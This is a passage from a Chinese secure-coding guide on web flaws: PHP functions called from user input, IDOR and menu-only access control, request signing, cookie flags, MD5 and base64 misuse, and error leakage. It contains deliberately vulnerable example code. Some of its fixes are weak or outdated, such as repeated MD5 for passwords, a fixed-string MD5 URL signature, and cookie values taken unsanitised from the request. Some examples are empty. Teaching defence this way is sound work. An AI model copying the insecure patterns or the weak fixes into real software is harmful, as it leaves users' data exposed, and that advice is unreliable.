if (isset($_GET["func"])) 
{ 
$myfunc = $_GET["func"]; 
echo $myfunc(); 
} 
?> 

程序员原意是想动态调用A和B函数,那我们提交http://www.sectop.com/ex.php?func=phpinfo漏洞产生

2.6.2.3 防范方法

  1. 尽量不要执行外部命令

  2. 使用自定义函数或函数库来替代外部命令的功能

  3. 使用escapeshellarg函数来处理命令参数

  4. 使用safe_mode_exec_dir指定可执行文件的路径

    esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“’”,替换成“\’”,双引号“"”,替换成“"”,分号“;”替换成“;”

    用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内

    safe_mode = On

    safe_mode_exec_dir = /usr/local/php/bin/

2.7. 框架安全

待补充!

2.8. 权限控制

2.8.1. 水平权限控制

Web 应用程序接收到用户请求,修改某条数据时,没有判断数据的所属人,或判断数 据所属人时,从用户提交的 request 参数(用户可控数据)中,获取了数据所属人 id,导 致恶意攻击者可以通过变换数据 ID,或变换所属人 id,修改不属于自己的数据。

2.8.1.1. 水平权限控制示例

假设 A 用户在 某商城 订单号为 12345,当访问页面

https://www.example.com/mall/?/#/personal/order/detail/12345

可以查询自己的订单,当用户改变订单号后,可访问非本人订单,导致了非常严重的信息泄漏。

2.8.2. 垂直权限控制

由于 web 应用程序没有做权限控制,或仅仅在菜单上做了权限控制,导致的恶意用户 只要猜测其他管理页面的 URL,就可以访问或控制其他角色拥有的数据或页面,达到权限 提升目的。

2.8.2.1. 垂直权限控制示例

如下代码,页面中只做了对菜单控制的代码

<tr>
    <td>
    <a href="/user.jsp">管理个人信息 管理个人信息 </a>
    </td>
</tr>
<%if (power.indexOf("administrators")>-1)
{ %>
    <tr>
        <td>
            <a href="/userlist.jsp">
                管理所有用户 管理所有用户
            </a>
        </td>
    </tr>
%>

当用户直接查看源代码,即可管理所有用户。

2.8.3. 权限控制解决方案

权限问题出现的场景多种多样,追根揪源是对用户身份验证及验证对应权限出现纰漏导 致,所以建议以下方式验证。

当用户登录后,建立一张对用户权限的临时表,表内对访问权限有着详细规定,当用户 操作与权限相关时,在表内验证用户身份后再进行处理。

3. WEB 数据安全

3.1. HTTP 传输安全

3.1.1. HTTP 传输签名

3.1.1.1. HTTP 传输签名说明

当 HTTP 传输与互联网中,所有中间承载网络及设备可以嗅探到传输过程,由于业务严 重性及性能考虑,在不使用 HTTPS 传输的前提下,签名便预防数据传输中被修改

3.1.1.2. http 传输攻击案例

用户 A 用 B 用户架设无线热点发送如下请求

http://www.example.com/order.action?user=admin&orderid=123

B 用户抓包发现连接,修改 orderid,便可查询其他订单信息,导致信息泄漏

3.1.1.3. 解决方案演示

当用户提交连接时,添加对数据验证 KEY 防止中间人修改相关连接

<?php 
    function jdkey($user,$orderid) 
    { 
        $key = md5(md5(md5($user.'0=0+0=0'.$orderid))); 
        return $key; 
    } 
?>

按照以上代码生成 key,生成如下连接

http://www.example.com/order.action?user=admin&orderid=123&key= c6d41ec7a47d9b3f1345ded166e6eca5

中间人即使发现连接,也无法遍历所有订单号

3.2. Cookie 安全

3.2.1. HTTP 协议 HttpOnly 属性

Cookie http only,是设置 COOKIE 时,可以设置的一个属性,如果 COOKIE 没有设 置这个属性,该 COOKIE 值可以被页面脚本读取。当攻击者发现一个 XSS 漏洞时,通常会写一段页面脚本,窃取用户的 COOKIE,为了 增加攻击者的门槛,防止出现因为 XSS 漏洞导致大面积用户 COOKIE 被盗,所以应该在设 置认证 COOKIE 时,增加这个属性。

属性设置方法

response.setHeader("SET-COOKIE", "ceshi=" + request.getParameter("cookie") + "; HttpOnly");

3.2.2. HTTP 协议 secure 属性

Cookie http secure,是设置 COOKIE 时,可以设置的一个属性,当 cookie 设置此属 性后,只能在 HTTPS 传输中才能传输,否则不能传输,增加可 cookie 的安全性。使用 HTTPS 通讯,所以相关 cookie 设置为 secure 属性

属性设置方法

response.setHeader("SET-COOKIE", "user=" + request.getParameter("cookie") + "; HttpOnly ; Secure ");

3.3. 密码存储安全

3.3.1. 单次 MD5 加密算法问题

3.3.1.1. 单次 MD5 加密算法问题说明

MD5 即 Message-Digest Algorithm 5(信息-摘要算法 5),用于确保信息传输完整一致。是计算机广泛使用的杂凑算法之一(又译摘要算法、哈希算法),主流编程语言普遍 已有 MD5 实现。现在黑客会利用彩虹表和穷举算法,对于 MD5 加密的密码破解率相对较高,所以不建 议采用单次 MD5 加密存储重要数据。

3.3.1.2. 单次 MD5 加密攻击示例

某校园网络遭入侵,获取用户名及 MD5 加密密码

部分密码在网上彩虹表破解,破解概率 75%

3.3.1.3. 解决方法

重要数据加密中严谨使用单次 MD5 加密。

<?php 
    Function JD_md5($str,$n) 
    { 
        $md5str = $str; 
        If($n<3) 
        { 
            return(“encrypt times less”); 
            
        }else { 
        while($n) { 
        $md5str = md5($md5str); 
        $n--; 
            } 
        } 
        return($md5str); 
        
    } 
?>

3.4.2. BASE64 编码安全

3.4.2.1. Base64 编码说明

很多开发认为 base64 是加密方法,这是造成很多问题的原因,base64 设计之初是为 了字符编码,并不是加密,所以 base64 可以当作不是一眼就能看懂的明文。

3.4.2.2. Base64 攻击示例

当某系统使用如下连接下载,为防止用户查看下载地址,错误的使用了 base64 编码下载 地址,导致任意文件的下载,相关连接如下

3.4.2.3. 解决方法

对于 base64、escape、urlencode 等编码不能当作加密算法使用,在应用中禁止自己编写 加密算法,重要数据建议使用多次 MD5 加密、多次随机盐加密、或 AES 加密

3.4.3. 随机加密算法(加盐法)

3.4.3.1. 加盐法说明

在重要数据存储时,用 MD5 加密、BASE64 编码等方式存储均存在安全较大的安全隐 患,所以对于重要数据的存储、传输建议使用随机 的加密方式。 随机函数用于加密其中方法非常多,组合法、跳变法、重排法、多模法,这里介绍一种方 法:加盐法。 加盐法的最大特色是增加加密强度,它是一种动态方法。经过加盐处理可以做到,即 使用同样的明文、同样的用户密码每次加密得到的密文都不一样,密码、明文、密文没有 固定的对应关系这样当然不好分析了。

3.4.3.2. 加盐法示例

3.5. 错误处理

当用户提交数据不合法,或者 web 应用程序在处理某种数据出错时,会返回一些程序 异常信息,从而暴露很多对攻击者有用的信息,攻击者可以利用这些错误信息,制定下一 步攻击方案。

3.5.1. 攻击示例

用户提交数据参数错误,导致程序报如下错误

通过以上报错信息我们可以看出,服务器使用的是 struts2,当攻击者发现使用的后台 框架后,会针对后台框架进行相关的漏洞收集或挖掘

通过以上报错信息,直接暴露物理路径,攻击者可以结合其他漏洞上传木马到可访问的目 录。

3.5.2. 解决方法

以上报错的示例,较为明显的暴露了服务器相关信息,在我们的应用中,应该对 HTTP 返回值做控制,当非 200 和 302 返回时,全部跳到指定页面。